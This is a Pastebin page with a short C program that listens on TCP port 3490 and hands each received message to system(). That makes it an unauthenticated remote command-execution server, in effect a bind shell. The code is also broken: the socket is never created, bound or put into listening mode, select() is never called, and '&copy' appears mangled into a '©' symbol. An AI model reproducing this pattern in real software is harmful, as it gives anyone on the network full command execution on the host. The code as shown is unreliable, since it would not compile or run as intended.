Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <errno.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <sys/wait.h>
- #include <signal.h>
- #define MYPORT 3490 // the port users will be connecting to
- #define BACKLOG 10 // how many pending connections queue will hold
- int main(void)
- {
- int sockfd, new_fd; // listen on sock_fd, new connection on new_fd
- struct sockaddr_in my_addr; // my address information
- struct sockaddr_in their_addr; // connectors address information
- socklen_t sin_size;
- struct sigaction sa;
- int yes=1;
- my_addr.sin_family = AF_INET; // host byte order
- my_addr.sin_port = htons(MYPORT); // short, network byte order
- my_addr.sin_addr.s_addr = INADDR_ANY; // automatically fill with my IP
- memset(my_addr.sin_zero, '\0', sizeof my_addr.sin_zero);
- fd_set smain,copy;
- FD_ZERO(&smain);
- FD_ZERO(©);
- FD_SET(sockfd,&smain);
- int max = sockfd;
- for(int i = 0;i <= max;i++){
- if(FD_ISSET(i,©)){
- if(i == sockfd){
- if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) {
- perror("accept");
- }
- else{
- FD_SET(new_fd,&smain);
- if(new_fd > max){
- max = new_fd;
- }
- printf("server: got connection from %s\n",inet_ntoa(their_addr.sin_addr));
- }
- }
- else{
- char buf[100] = "\0";
- if (recv(i, buf, 100, 0) <= 0) {
- perror("recv");
- close(i);
- FD_CLR(i,&smain);
- }
- else{
- system(buf);
- }
- }
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement